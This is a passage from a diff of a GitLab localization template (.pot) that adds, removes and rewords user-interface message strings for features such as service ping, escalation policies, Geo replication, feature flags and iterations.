msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11791,9 +11593,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,13 +11920,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -15991,13 +15655,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
